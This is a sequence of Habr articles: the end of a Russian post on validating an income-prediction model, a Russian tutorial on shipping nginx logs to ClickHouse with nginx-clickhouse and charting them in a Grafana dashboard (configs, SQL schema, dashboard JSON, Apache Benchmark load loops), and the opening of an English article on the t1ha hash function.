Исходя из валидационных тестов, мы видим, насколько близки предсказанные моделью данные и исходные. Таким образом, у нас удалось получить модель предсказания уровня доходов клиентов с приемлемым для наших целей качеством. С помощью данной модели были проанализированы такие показатели как возраст, пол, количество операций пополнения счета, сумма всех выданных кредитов, сумма операций переводов, регион по серии документа, средний размер операции оплаты мобильной связи, медианный баланс по дебетовым картам, общая сумма всех поступлений по всем картам клиента, доход по клиенту, средняя операция пополнения счета, расходы на продукты, тип населенного пункта и предсказан уровень дохода каждого клиента из выборки, что позволило формировать более подходящие предложения каждому клиенту.
Итак, стоит отметить, что всегда нужно правильно подбирать валидационные тесты для каждого типа моделей. Важно понимать, что тесты, созданные для моделей бинарной классификации (макрокоэффициент Джини, динамика макрокоэффициента, Precision-Recall кривая и некоторые другие) не могут быть использованы для моделей регрессии и градиентного бустинга, и наоборот. То есть если провести тесты, не подходящие для модели XGBoost, то можно получить плохой результат, который на самом деле не отражает настоящую ситуацию. Как говорится, не зная броду, не суйся в воду | https://habr.com/ru/post/573040/ | null | ru | null |
# Собираем логи из Nginx с помощью nginx-clickhouse, отправляем в Clickhouse и отображаем в Grafana
Я из компании Luxoft. В этой статье будет рассматриваться проект [nginx-clickhouse](https://github.com/mintance/nginx-clickhouse), который будет читать логи nginx, отправлять их в clickhouse. Для просмотра аналитики по логам есть дашборд для Grafana.
Устанавливаем nginx, clickhouse, grafana стандартным способом.
Все пакеты установлены на одном и том же сервере.
[Страница nginx-clickhouse на github](https://github.com/mintance/nginx-clickhouse)
Устанавливаем rpm пакет nginx-clickhouse
```
yum -y install yum-plugin-copr
yum copr enable antonpatsev/nginx-clickhouse-rpm
yum -y install nginx-clickhouse
systemctl start nginx-clickhouse
```
В качестве эмулятора HTTP сервиса используем mockify.
Устанавливаем rpm пакет mockify
```
yum -y install yum-plugin-copr
yum copr enable antonpatsev/mockify-rpm
yum -y install mockify
systemctl start mockify
```
У nginx-clickhouse log\_format имеет следующий вид.
```
log_format main '$remote_addr - $remote_user [$time_local] "$request" $status $bytes_sent "$http_referer" "$http_user_agent"';
```
Общий конфиг nginx:
```
user nginx;
worker_processes auto;
worker_rlimit_nofile 40960;
error_log /var/log/nginx/error.log warn;
pid /var/run/nginx.pid;
events {
use epoll;
worker_connections 1024;
multi_accept on;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
log_format main '$remote_addr - $remote_user [$time_local] "$request" $status $bytes_sent "$http_referer" "$http_user_agent"';
access_log /var/log/nginx/access.log main;
sendfile on;
tcp_nodelay on;
tcp_nopush on;
keepalive_timeout 65;
include /etc/nginx/conf.d/*.conf;
open_file_cache max=200000 inactive=20s;
open_file_cache_valid 30s;
open_file_cache_min_uses 2;
open_file_cache_errors on;
}
```
Конфиги виртуальных хостов:
vhost1.conf:
```
server {
listen 80;
server_name vhost1;
location / {
proxy_pass http://127.0.0.1:8001/200;
}
}
```
vhost2.conf:
```
server {
listen 80;
server_name vhost2;
location / {
proxy_pass http://127.0.0.1:8001/200;
}
}
```
vhost3.conf:
```
server {
listen 80;
server_name vhost3;
location / {
proxy_pass http://localhost:8001/304;
}
}
```
vhost4.conf:
```
server {
listen 80;
server_name vhost4;
location / {
proxy_pass http://localhost:8001/401;
}
}
```
vhost5.conf:
```
server {
listen 80;
server_name vhost5;
location / {
proxy_pass http://localhost:8001/500;
}
}
```
Добавляем в файл hosts виртуальные хосты:
```
cat /etc/hosts
127.0.0.1 vhost1
127.0.0.1 vhost2
127.0.0.1 vhost3
127.0.0.1 vhost4
127.0.0.1 vhost5
```
Конфиг nginx-clickhouse по умолчанию лежит в
```
/etc/nginx-clickhouse/config/config.yml
```
Путь до лога можно изменить в конфиге в параметре: `log_path:`
В clickhouse вам нужно создать базу данных metrics:
```
create database metrics
```
И нужно создать таблицу nginx:
```
CREATE TABLE metrics.nginx (
RemoteAddr String,
RemoteUser String,
TimeLocal DateTime,
Date Date DEFAULT toDate(TimeLocal),
Request String,
RequestMethod String,
Status Int32,
BytesSent Int64,
HttpReferer String,
HttpUserAgent String,
RequestTime Float32,
UpstreamConnectTime Float32,
UpstreamHeaderTime Float32,
UpstreamResponseTime Float32,
Https FixedString(2),
ConnectionsWaiting Int64,
ConnectionsActive Int64
) ENGINE = MergeTree(Date, (Status, Date), 8192)
```
В Grafana при создании datasource для Clickhouse сделайте название ему `ClickHouse Main Server`, т.к. в исходном дашборде для Grafana именно так он именнуется.
Так же вам нужно создать переменную table с содержимым `metrics.nginx`.
На официальном сайте Grafana вы не найдете дашборд. Он находится в этом закрытом [issue](https://github.com/mintance/nginx-clickhouse/issues/2):
Вот мой немного поправленный дашборд:
**Заголовок спойлера**
```
{
"editable": true,
"gnetId": null,
"graphTooltip": 0,
"hideControls": false,
"id": 1,
"links": [],
"refresh": false,
"rows": [
{
"collapse": false,
"height": "250px",
"panels": [
{
"aliasColors": {},
"bars": false,
"dashLength": 10,
"dashes": false,
"datasource": "ClickHouse Main Server",
"fill": 1,
"id": 1,
"legend": {
"avg": true,
"current": true,
"max": true,
"min": true,
"show": true,
"total": false,
"values": true
},
"lines": true,
"linewidth": 1,
"links": [],
"nullPointMode": "null",
"percentage": false,
"pointradius": 5,
"points": false,
"renderer": "flot",
"seriesOverrides": [],
"spaceLength": 10,
"span": 12,
"stack": false,
"steppedLine": false,
"targets": [
{
"database": "metrics",
"dateColDataType": "Date",
"dateLoading": false,
"dateTimeColDataType": "TimeLocal",
"datetimeLoading": false,
"formattedQuery": "$columns(Status, count(\*) as c) from metrics.nginx_streaming",
"hide": false,
"interval": "15s",
"intervalFactor": 1,
"query": "$columns(Status, count(*) as c) from metrics.nginx",
"rawQuery": "SELECT t, groupArray((Status, c)) as groupArr FROM ( SELECT (intDiv(toUInt32(TimeLocal), 15) * 15) * 1000 as t, Status, count(*) as c from metrics.nginx WHERE Date >= toDate(1539358595) AND TimeLocal >= toDateTime(1539358595) GROUP BY t, Status ORDER BY t) GROUP BY t ORDER BY t",
"refId": "A",
"resultFormat": "time_series",
"table": "nginx_streaming",
"tableLoading": false
}
],
"thresholds": [],
"timeFrom": null,
"timeShift": null,
"title": "Streaming API Requests & Response",
"tooltip": {
"shared": true,
"sort": 0,
"value_type": "individual"
},
"type": "graph",
"xaxis": {
"buckets": null,
"mode": "time",
"name": null,
"show": true,
"values": []
},
"yaxes": [
{
"decimals": null,
"format": "short",
"label": "Requests",
"logBase": 1,
"max": null,
"min": null,
"show": true
},
{
"format": "short",
"label": "",
"logBase": 1,
"max": null,
"min": null,
"show": true
}
]
}
],
"repeat": null,
"repeatIteration": null,
"repeatRowId": null,
"showTitle": false,
"title": "Dashboard Row",
"titleSize": "h6"
},
{
"collapse": false,
"height": 399,
"panels": [
{
"columns": [],
"datasource": "ClickHouse Main Server",
"fontSize": "100%",
"id": 2,
"links": [],
"pageSize": null,
"scroll": true,
"showHeader": true,
"sort": {
"col": 0,
"desc": true
},
"span": 6,
"styles": [
{
"alias": "Time",
"dateFormat": "YYYY-MM-DD HH:mm:ss",
"pattern": "Time",
"type": "date"
},
{
"alias": "",
"colorMode": null,
"colors": [
"rgba(245, 54, 54, 0.9)",
"rgba(237, 129, 40, 0.89)",
"rgba(50, 172, 45, 0.97)"
],
"decimals": 2,
"pattern": "/.*/",
"thresholds": [],
"type": "number",
"unit": "short"
}
],
"targets": [
{
"database": "metrics",
"dateColDataType": "Date",
"dateLoading": false,
"dateTimeColDataType": "TimeLocal",
"datetimeLoading": false,
"formattedQuery": "$columns(Status, count(\*) as c) from metrics.nginx_streaming",
"hide": false,
"interval": "3600s",
"intervalFactor": 1,
"query": "$columns(Status, count(*) as c) from metrics.nginx",
"rawQuery": "SELECT t, groupArray((Status, c)) as groupArr FROM ( SELECT (intDiv(toUInt32(TimeLocal), 3600) * 3600) * 1000 as t, Status, count(*) as c from metrics.nginx WHERE Date >= toDate(1539358595) AND TimeLocal >= toDateTime(1539358595) GROUP BY t, Status ORDER BY t) GROUP BY t ORDER BY t",
"refId": "A",
"resultFormat": "time_series",
"table": "nginx_streaming",
"tableLoading": false
}
],
"title": "Requests Stats Table",
"transform": "timeseries_to_columns",
"type": "table"
},
{
"aliasColors": {},
"bars": false,
"dashLength": 10,
"dashes": false,
"datasource": "ClickHouse Main Server",
"fill": 1,
"id": 3,
"legend": {
"avg": false,
"current": false,
"max": false,
"min": false,
"show": true,
"total": false,
"values": false
},
"lines": true,
"linewidth": 1,
"links": [],
"nullPointMode": "null",
"percentage": false,
"pointradius": 5,
"points": false,
"renderer": "flot",
"seriesOverrides": [],
"spaceLength": 10,
"span": 6,
"stack": false,
"steppedLine": false,
"targets": [
{
"database": "metrics",
"dateColDataType": "Date",
"dateLoading": false,
"dateTimeColDataType": "TimeLocal",
"datetimeLoading": false,
"formattedQuery": "$rate(avg(RequestTime) as RequestTime) FROM metrics.nginx_streaming",
"hide": false,
"intervalFactor": 1,
"query": "$rate(avg(RequestTime) as RequestTime) FROM metrics.nginx",
"rawQuery": "SELECT t, RequestTime/runningDifference(t/1000) RequestTimeRate FROM ( SELECT (intDiv(toUInt32(TimeLocal), 120) * 120) * 1000 as t, avg(RequestTime) as RequestTime FROM metrics.nginx WHERE Date >= toDate(1539358595) AND TimeLocal >= toDateTime(1539358595) GROUP BY t ORDER BY t)",
"refId": "A",
"resultFormat": "time_series",
"table": "nginx_streaming",
"tableLoading": false
},
{
"database": "metrics",
"dateColDataType": "Date",
"dateLoading": false,
"dateTimeColDataType": "TimeLocal",
"datetimeLoading": false,
"formattedQuery": "$rate(avg(UpstreamResponseTime) as UpstreamResponseTime) FROM metrics.nginx_streaming",
"hide": false,
"intervalFactor": 1,
"query": "$rate(avg(UpstreamResponseTime) as UpstreamResponseTime) FROM metrics.nginx",
"rawQuery": "SELECT t, UpstreamResponseTime/runningDifference(t/1000) UpstreamResponseTimeRate FROM ( SELECT (intDiv(toUInt32(TimeLocal), 120) * 120) * 1000 as t, avg(UpstreamResponseTime) as UpstreamResponseTime FROM metrics.nginx WHERE Date >= toDate(1539358595) AND TimeLocal >= toDateTime(1539358595) GROUP BY t ORDER BY t)",
"refId": "B",
"resultFormat": "time_series",
"table": "nginx_streaming",
"tableLoading": false
},
{
"database": "metrics",
"dateColDataType": "Date",
"dateLoading": false,
"dateTimeColDataType": "TimeLocal",
"datetimeLoading": false,
"formattedQuery": "$rate(avg(UpstreamConnectTime) as UpstreamConnectTime) FROM metrics.nginx_streaming",
"hide": false,
"intervalFactor": 1,
"query": "$rate(avg(UpstreamConnectTime) as UpstreamConnectTime) FROM metrics.nginx",
"rawQuery": "SELECT t, UpstreamConnectTime/runningDifference(t/1000) UpstreamConnectTimeRate FROM ( SELECT (intDiv(toUInt32(TimeLocal), 120) * 120) * 1000 as t, avg(UpstreamConnectTime) as UpstreamConnectTime FROM metrics.nginx WHERE Date >= toDate(1539358595) AND TimeLocal >= toDateTime(1539358595) GROUP BY t ORDER BY t)",
"refId": "C",
"resultFormat": "time_series",
"table": "nginx_streaming",
"tableLoading": false
}
],
"thresholds": [],
"timeFrom": null,
"timeShift": null,
"title": "Response Timing",
"tooltip": {
"shared": true,
"sort": 0,
"value_type": "individual"
},
"type": "graph",
"xaxis": {
"buckets": null,
"mode": "time",
"name": null,
"show": true,
"values": []
},
"yaxes": [
{
"format": "short",
"label": null,
"logBase": 1,
"max": null,
"min": null,
"show": true
},
{
"format": "short",
"label": null,
"logBase": 1,
"max": null,
"min": null,
"show": true
}
]
}
],
"repeat": null,
"repeatIteration": null,
"repeatRowId": null,
"showTitle": false,
"title": "Dashboard Row",
"titleSize": "h6"
},
{
"collapse": false,
"height": 250,
"panels": [
{
"cacheTimeout": null,
"colorBackground": false,
"colorValue": false,
"colors": [
"rgba(245, 54, 54, 0.9)",
"rgba(237, 129, 40, 0.89)",
"rgba(50, 172, 45, 0.97)"
],
"datasource": "ClickHouse Main Server",
"format": "none",
"gauge": {
"maxValue": 100,
"minValue": 0,
"show": false,
"thresholdLabels": false,
"thresholdMarkers": true
},
"id": 4,
"interval": null,
"links": [],
"mappingType": 1,
"mappingTypes": [
{
"name": "value to text",
"value": 1
},
{
"name": "range to text",
"value": 2
}
],
"maxDataPoints": 100,
"nullPointMode": "connected",
"nullText": null,
"postfix": "",
"postfixFontSize": "50%",
"prefix": "",
"prefixFontSize": "50%",
"rangeMaps": [
{
"from": "null",
"text": "N/A",
"to": "null"
}
],
"span": 2,
"sparkline": {
"fillColor": "rgba(31, 118, 189, 0.18)",
"full": false,
"lineColor": "rgb(31, 120, 193)",
"show": false
},
"tableColumn": "",
"targets": [
{
"database": "metrics",
"dateColDataType": "Date",
"dateLoading": false,
"dateTimeColDataType": "TimeLocal",
"datetimeLoading": false,
"formattedQuery": "SELECT
1 as t,
count(\*) as c
FROM $table
WHERE $timeFilter GROUP BY t",
"intervalFactor": 1,
"query": "SELECT\n 1 as t,\n count(*) as c\n FROM $table\n WHERE $timeFilter GROUP BY t",
"rawQuery": "SELECT 1 as t, count(*) as c FROM metrics.nginx WHERE Date >= toDate(1539358595) AND TimeLocal >= toDateTime(1539358595) GROUP BY t",
"refId": "A",
"resultFormat": "time_series",
"table": "nginx_streaming",
"tableLoading": false
}
],
"thresholds": "",
"title": "Total Requests",
"type": "singlestat",
"valueFontSize": "80%",
"valueMaps": [
{
"op": "=",
"text": "N/A",
"value": "null"
}
],
"valueName": "avg"
},
{
"cacheTimeout": null,
"colorBackground": false,
"colorValue": false,
"colors": [
"rgba(245, 54, 54, 0.9)",
"rgba(237, 129, 40, 0.89)",
"rgba(50, 172, 45, 0.97)"
],
"datasource": "ClickHouse Main Server",
"format": "ops",
"gauge": {
"maxValue": 100,
"minValue": 0,
"show": false,
"thresholdLabels": false,
"thresholdMarkers": true
},
"id": 5,
"interval": null,
"links": [],
"mappingType": 1,
"mappingTypes": [
{
"name": "value to text",
"value": 1
},
{
"name": "range to text",
"value": 2
}
],
"maxDataPoints": 100,
"nullPointMode": "connected",
"nullText": null,
"postfix": "",
"postfixFontSize": "50%",
"prefix": "",
"prefixFontSize": "50%",
"rangeMaps": [
{
"from": "null",
"text": "N/A",
"to": "null"
}
],
"span": 2,
"sparkline": {
"fillColor": "rgba(31, 118, 189, 0.18)",
"full": false,
"lineColor": "rgb(31, 120, 193)",
"show": false
},
"tableColumn": "",
"targets": [
{
"database": "metrics",
"dateColDataType": "Date",
"dateLoading": false,
"dateTimeColDataType": "TimeLocal",
"datetimeLoading": false,
"formattedQuery": "SELECT
1 as t,
count(\*) / 3600\*24 as c
FROM $table
WHERE $timeFilter GROUP BY t",
"intervalFactor": 1,
"query": "SELECT\n 1 as t,\n count(*) / 3600*24 as c\n FROM $table\n WHERE $timeFilter GROUP BY t",
"rawQuery": "SELECT 1 as t, count(*) / 3600*24 as c FROM metrics.nginx WHERE Date >= toDate(1539358595) AND TimeLocal >= toDateTime(1539358595) GROUP BY t",
"refId": "A",
"resultFormat": "time_series",
"table": "nginx_streaming",
"tableLoading": false
}
],
"thresholds": "",
"title": "RPS",
"type": "singlestat",
"valueFontSize": "80%",
"valueMaps": [
{
"op": "=",
"text": "N/A",
"value": "null"
}
],
"valueName": "avg"
},
{
"cacheTimeout": null,
"colorBackground": true,
"colorValue": false,
"colors": [
"rgba(50, 172, 45, 0.97)",
"rgba(237, 129, 40, 0.89)",
"rgba(245, 54, 54, 0.9)"
],
"datasource": "ClickHouse Main Server",
"format": "none",
"gauge": {
"maxValue": 100,
"minValue": 0,
"show": false,
"thresholdLabels": false,
"thresholdMarkers": true
},
"id": 6,
"interval": null,
"links": [],
"mappingType": 1,
"mappingTypes": [
{
"name": "value to text",
"value": 1
},
{
"name": "range to text",
"value": 2
}
],
"maxDataPoints": 100,
"nullPointMode": "connected",
"nullText": null,
"postfix": "",
"postfixFontSize": "50%",
"prefix": "",
"prefixFontSize": "50%",
"rangeMaps": [
{
"from": "null",
"text": "N/A",
"to": "null"
}
],
"span": 2,
"sparkline": {
"fillColor": "rgba(31, 118, 189, 0.18)",
"full": false,
"lineColor": "rgb(31, 120, 193)",
"show": false
},
"tableColumn": "",
"targets": [
{
"database": "metrics",
"dateColDataType": "Date",
"dateLoading": false,
"dateTimeColDataType": "TimeLocal",
"datetimeLoading": false,
"formattedQuery": "SELECT
1 as t,
count(\*) as c
FROM $table
WHERE $timeFilter AND Status NOT IN (200, 201, 401) GROUP BY t",
"intervalFactor": 1,
"query": "SELECT\n 1 as t,\n count(*) as c\n FROM $table\n WHERE $timeFilter AND Status NOT IN (200, 201, 401) GROUP BY t",
"rawQuery": "SELECT 1 as t, count(*) as c FROM metrics.nginx WHERE Date >= toDate(1539358595) AND TimeLocal >= toDateTime(1539358595) AND Status NOT IN (200, 201, 401) GROUP BY t",
"refId": "A",
"resultFormat": "time_series",
"table": "nginx_streaming",
"tableLoading": false
}
],
"thresholds": "10,20,50",
"title": "Failed Requests",
"type": "singlestat",
"valueFontSize": "80%",
"valueMaps": [
{
"op": "=",
"text": "N/A",
"value": "null"
}
],
"valueName": "avg"
},
{
"cacheTimeout": null,
"colorBackground": true,
"colorValue": false,
"colors": [
"rgba(50, 172, 45, 0.97)",
"rgba(237, 129, 40, 0.89)",
"rgba(245, 54, 54, 0.9)"
],
"datasource": "ClickHouse Main Server",
"decimals": null,
"format": "none",
"gauge": {
"maxValue": 100,
"minValue": 0,
"show": false,
"thresholdLabels": false,
"thresholdMarkers": true
},
"id": 9,
"interval": null,
"links": [],
"mappingType": 1,
"mappingTypes": [
{
"name": "value to text",
"value": 1
},
{
"name": "range to text",
"value": 2
}
],
"maxDataPoints": 100,
"nullPointMode": "connected",
"nullText": null,
"postfix": "%",
"postfixFontSize": "80%",
"prefix": "",
"prefixFontSize": "50%",
"rangeMaps": [
{
"from": "null",
"text": "N/A",
"to": "null"
}
],
"span": 2,
"sparkline": {
"fillColor": "rgba(31, 118, 189, 0.18)",
"full": false,
"lineColor": "rgb(31, 120, 193)",
"show": false
},
"tableColumn": "",
"targets": [
{
"database": "metrics",
"dateColDataType": "Date",
"dateLoading": false,
"dateTimeColDataType": "TimeLocal",
"datetimeLoading": false,
"formattedQuery": "SELECT
1 as t, (sum(Status = 500 or Status = 499)/sum(Status = 200 or Status = 201 or Status = 401))\*100 FROM $table
WHERE $timeFilter GROUP BY t",
"intervalFactor": 1,
"query": "SELECT\n 1 as t, (sum(Status = 500 or Status = 499)/sum(Status = 200 or Status = 201 or Status = 401))*100 FROM $table\n WHERE $timeFilter GROUP BY t",
"rawQuery": "SELECT 1 as t, (sum(Status = 500 or Status = 499)/sum(Status = 200 or Status = 201 or Status = 401))*100 FROM metrics.nginx WHERE Date >= toDate(1539358595) AND TimeLocal >= toDateTime(1539358595) GROUP BY t",
"refId": "A",
"resultFormat": "time_series",
"table": "nginx_streaming",
"tableLoading": false
}
],
"thresholds": "1,5",
"title": "Failing Prcent",
"type": "singlestat",
"valueFontSize": "80%",
"valueMaps": [
{
"op": "=",
"text": "N/A",
"value": "null"
}
],
"valueName": "current"
},
{
"cacheTimeout": null,
"colorBackground": true,
"colorValue": false,
"colors": [
"rgba(245, 54, 54, 0.9)",
"rgba(237, 129, 40, 0.89)",
"rgba(50, 172, 45, 0.97)"
],
"datasource": "ClickHouse Main Server",
"format": "s",
"gauge": {
"maxValue": 100,
"minValue": 0,
"show": false,
"thresholdLabels": false,
"thresholdMarkers": true
},
"id": 7,
"interval": null,
"links": [],
"mappingType": 1,
"mappingTypes": [
{
"name": "value to text",
"value": 1
},
{
"name": "range to text",
"value": 2
}
],
"maxDataPoints": 100,
"nullPointMode": "connected",
"nullText": null,
"postfix": "",
"postfixFontSize": "50%",
"prefix": "",
"prefixFontSize": "50%",
"rangeMaps": [
{
"from": "null",
"text": "N/A",
"to": "null"
}
],
"span": 2,
"sparkline": {
"fillColor": "rgba(31, 118, 189, 0.18)",
"full": false,
"lineColor": "rgb(31, 120, 193)",
"show": false
},
"tableColumn": "",
"targets": [
{
"database": "metrics",
"dateColDataType": "Date",
"dateLoading": false,
"dateTimeColDataType": "TimeLocal",
"datetimeLoading": false,
"formattedQuery": "SELECT
1, avg(RequestTime) FROM $table
WHERE $timeFilter GROUP BY 1",
"intervalFactor": 1,
"query": "SELECT\n 1, avg(RequestTime) FROM $table\n WHERE $timeFilter GROUP BY 1",
"rawQuery": "SELECT 1, avg(RequestTime) FROM metrics.nginx WHERE Date >= toDate(1539358595) AND TimeLocal >= toDateTime(1539358595) GROUP BY 1",
"refId": "A",
"resultFormat": "time_series",
"table": "nginx_streaming",
"tableLoading": false
}
],
"thresholds": "0.02,0.05,0.1",
"title": "Avg Response Time",
"type": "singlestat",
"valueFontSize": "80%",
"valueMaps": [
{
"op": "=",
"text": "N/A",
"value": "null"
}
],
"valueName": "avg"
},
{
"cacheTimeout": null,
"colorBackground": true,
"colorValue": false,
"colors": [
"rgba(50, 172, 45, 0.97)",
"rgba(237, 129, 40, 0.89)",
"rgba(245, 54, 54, 0.9)"
],
"datasource": "ClickHouse Main Server",
"decimals": null,
"format": "s",
"gauge": {
"maxValue": 100,
"minValue": 0,
"show": false,
"thresholdLabels": false,
"thresholdMarkers": true
},
"id": 8,
"interval": null,
"links": [],
"mappingType": 1,
"mappingTypes": [
{
"name": "value to text",
"value": 1
},
{
"name": "range to text",
"value": 2
}
],
"maxDataPoints": 100,
"nullPointMode": "connected",
"nullText": null,
"postfix": "",
"postfixFontSize": "70%",
"prefix": "",
"prefixFontSize": "50%",
"rangeMaps": [
{
"from": "null",
"text": "N/A",
"to": "null"
}
],
"span": 2,
"sparkline": {
"fillColor": "rgba(31, 118, 189, 0.18)",
"full": false,
"lineColor": "rgb(31, 120, 193)",
"show": false
},
"tableColumn": "",
"targets": [
{
"database": "metrics",
"dateColDataType": "Date",
"dateLoading": false,
"dateTimeColDataType": "TimeLocal",
"datetimeLoading": false,
"formattedQuery": "SELECT
1 as t, max(RequestTime) as c
FROM $table
WHERE $timeFilter GROUP BY t",
"intervalFactor": 1,
"query": "SELECT\n 1 as t, max(RequestTime) as c\n FROM $table\n WHERE $timeFilter GROUP BY t",
"rawQuery": "SELECT 1 as t, max(RequestTime) as c FROM metrics.nginx WHERE Date >= toDate(1539358595) AND TimeLocal >= toDateTime(1539358595) GROUP BY t",
"refId": "A",
"resultFormat": "time_series",
"table": "nginx_streaming",
"tableLoading": false
}
],
"thresholds": "0.2,0.5,1",
"title": "Max Response Time",
"type": "singlestat",
"valueFontSize": "80%",
"valueMaps": [
{
"op": "=",
"text": "N/A",
"value": "null"
}
],
"valueName": "current"
}
],
"repeat": null,
"repeatIteration": null,
"repeatRowId": null,
"showTitle": false,
"title": "Dashboard Row",
"titleSize": "h6"
},
{
"collapse": false,
"height": "450",
"panels": [
{
"columns": [],
"datasource": "ClickHouse Main Server",
"fontSize": "100%",
"id": 11,
"links": [],
"pageSize": null,
"scroll": true,
"showHeader": true,
"sort": {
"col": 0,
"desc": true
},
"span": 8,
"styles": [
{
"alias": "Time",
"dateFormat": "HH:mm:ss",
"pattern": "Time",
"type": "date"
},
{
"alias": "",
"colorMode": null,
"colors": [
"rgba(245, 54, 54, 0.9)",
"rgba(237, 129, 40, 0.89)",
"rgba(50, 172, 45, 0.97)"
],
"dateFormat": "YYYY-MM-DD HH:mm:ss",
"decimals": 0,
"pattern": "Status",
"thresholds": [],
"type": "number",
"unit": "none"
},
{
"alias": "Response Time",
"colorMode": null,
"colors": [
"rgba(50, 172, 45, 0.97)",
"rgba(237, 129, 40, 0.89)",
"rgba(245, 54, 54, 0.9)"
],
"dateFormat": "YYYY-MM-DD HH:mm:ss",
"decimals": 2,
"pattern": "RequestTime",
"thresholds": [
"50",
"70",
"100"
],
"type": "number",
"unit": "dtdurations"
},
{
"alias": "",
"colorMode": null,
"colors": [
"rgba(245, 54, 54, 0.9)",
"rgba(237, 129, 40, 0.89)",
"rgba(50, 172, 45, 0.97)"
],
"decimals": 2,
"pattern": "/.*/",
"thresholds": [],
"type": "number",
"unit": "short"
}
],
"targets": [
{
"database": "metrics",
"dateColDataType": "Date",
"dateLoading": false,
"dateTimeColDataType": "TimeLocal",
"datetimeLoading": false,
"formattedQuery": "SELECT TimeLocal as t, Status, RequestMethod, splitByChar(' ', Request)[2] as Request, RequestTime FROM $table WHERE $timeFilter AND Status NOT IN (200, 201) AND RequestMethod != 'OPTIONS' ORDER BY t",
"intervalFactor": 1,
"query": "SELECT TimeLocal as t, Status, RequestMethod, splitByChar(' ', Request)[2] as Request, RequestTime FROM $table WHERE $timeFilter AND Status NOT IN (200, 201) AND RequestMethod != 'OPTIONS' ORDER BY t",
"rawQuery": "SELECT TimeLocal as t, Status, RequestMethod, splitByChar(' ', Request)[2] as Request, RequestTime FROM metrics.nginx WHERE Date >= toDate(1539358595) AND TimeLocal >= toDateTime(1539358595) AND Status NOT IN (200, 201) AND RequestMethod != 'OPTIONS' ORDER BY t",
"refId": "A",
"resultFormat": "time_series",
"table": "nginx_streaming",
"tableLoading": false
}
],
"title": "Error Requests",
"transform": "timeseries_to_columns",
"type": "table"
}
],
"repeat": null,
"repeatIteration": null,
"repeatRowId": null,
"showTitle": false,
"title": "Dashboard Row",
"titleSize": "h6"
}
],
"schemaVersion": 14,
"style": "dark",
"tags": [],
"templating": {
"list": []
},
"time": {
"from": "now-24h",
"to": "now"
},
"timepicker": {
"refresh_intervals": [
"5s",
"10s",
"30s",
"1m",
"5m",
"15m",
"30m",
"1h",
"2h",
"1d"
],
"time_options": [
"5m",
"15m",
"1h",
"6h",
"12h",
"24h",
"2d",
"7d",
"30d"
]
},
"timezone": "",
"title": "Streaming API",
"version": 17
}
```
Тестирование проводим с помощью Apache benchmark.
Устанавливаем его:
```
yum install -y httpd-tools
```
Запускаем тестирование с помощью Apache benchmark в разных консолях:
```
while true; do ab -c 1 -n 1 -t 1 http://vhost1/; sleep 2; done
while true; do ab -c 1 -n 1 -t 1 http://vhost2/; sleep 2; done
while true; do ab -c 1 -n 1 -t 1 http://vhost3/; sleep 2; done
while true; do ab -c 1 -n 1 -t 1 http://vhost4/; sleep 2; done
while true; do ab -c 1 -n 1 -t 1 http://vhost5/; sleep 2; done
```
Скриншоты:
Скриншот с github разработчика:
Вывод:
Надеюсь на дальнейшее развитие проекта. Пока проект малоактивный.
Если вы будете собирать проект руками, то обратите внимание на этот [issue](https://github.com/mintance/nginx-clickhouse/issues/6).
Telegram каналы:
[Clickhouse](https://t.me/clickhouse_ru)
[Nginx](https://t.me/nginx_ru)
[Церковь метрик](https://t.me/metrics_ru)
Вопрос к читателям: Если вы храните метрики в clickhouse, то какими self-hosted утилитами/проектами вы получаете метрики по статус кодам и по виртуальным хостам с Nginx?
UPDATE: Автор проекта принял мои Pull Request:
<https://github.com/mintance/nginx-clickhouse/pull/9>
<https://github.com/mintance/nginx-clickhouse/pull/10>
<https://github.com/mintance/nginx-clickhouse/pull/11>
Также автор стал отвечать в Issue:
<https://github.com/mintance/nginx-clickhouse/issues/7>
<https://github.com/mintance/nginx-clickhouse/issues/8> | https://habr.com/ru/post/477498/ | null | ru | null |
# t1ha = Fast Positive Hash
Just about the fastest portable 64-bit hash function with decent quality.
This is a translation of the original [article](https://habr.com/ru/post/339160/) by [Leonid Yuriev](https://habr.com/ru/users/yleo/).
**Instead of a Disclaimer**I will omit the definition of hash functions along with the detailed listing of the properties and requirements for their cryptographic application, and assume that the reader either has the necessary minimum knowledge or will [read up](https://google.com/) on it. It should also be noted, that hereinafter I will talk about non-cryptographic (not suitable for cryptography) hash functions, unless explicitly stated otherwise.
**Banalities**Hashing is used in a lot of algorithms, and almost always the most efficient (fast) data processing is required, along with a certain minimum level of hashing quality. Here the term “quality” means, first of all, a sort of “randomness” (stochasticity) in relation to the initial data. Somewhat less often additional requirements are imposed such as resistance to deliberate generation of collisions or irreversibility.
**To be a bit more tedious**For clarity, it is necessary to define the concept of “quality” of the hash function and the rest of the requirements in a little bit more detail:
Baseline quality and the [avalanche effect](https://en.wikipedia.org/wiki/Avalanche_effect): changing one or more arbitrary bits in an arbitrary set of source data causes each bit of the result to change with a probability of ½.
* Irreversibility or first preimage resistance: the impossibility of obtaining the original data or individual bits from the hash result.
* Resistance to first-order collisions and/or second pre-image resistance: the difficulty of finding/fitting the original data set to obtain a specified result or part of it, including when the initial data set is known.
* Resistance to second-order collisions: the difficulty of finding/fitting two different data sets that would give the same result or a match of a significant part.
Omitting long citations of the underlying mathematics, it can be summarized:
* Satisfying all the above requirements while ensuring high performance is quite a difficult problem, solving which would give us a good cryptographic hash function. But we are not going to do this yet.
* Providing basic quality requires a sufficiently large number of ALU operations. To put it simply, quality always compromises with speed.
* Obtaining a high-quality result with a bit width greater than the bit width of ALU operations requires more than a several-fold increase in the number of mixings, and therefore basic ALU operations.
* In general, *creating a fast hash function involves achieving a weighted compromise between speed, quality and result bitness*.
Therefore, I can say that **t1ha** appeared as a result of searching for a compromise between quality and speed, at the same time taking into account the capabilities of modern processors and the already found methods (arithmetic-logical combinations) of mixing and spreading dependencies (avalanche effect).
The basic version of **t1ha** is one of the fastest portable hash functions for constructing hash tables and other related applications. The basic version of **t1ha** is focused on 64-bit little-endian architectures, takes a 64-bit salt value (seed) and produces a 64-bit result, which includes strengthening by key-length and seed. It is worth noting that **t1ha** is intentionally designed to return 0 for zero input data (a key of zero size and zero seed).
**Answering most popular questions****64-bit operations**: Perhaps is should be noted that it is the 64-bit operations that provide speed and quality without hurting portability. In fact, the wider the digit capacity of arithmetic operations, the more avalanche effect they produce and the better they mix the data. Additionally, data processing, all other things being equal, is certainly faster by 8 bytes than by 4. On the other hand, exactly 64-bit operations are natively available on many modern processors, and can be more or less adequately translated into 32-bit ones. All other options, including [SIMD](https://en.wikipedia.org/wiki/SIMD) operations, force us to greatly sacrifice portability and/or speed on non-native platforms.
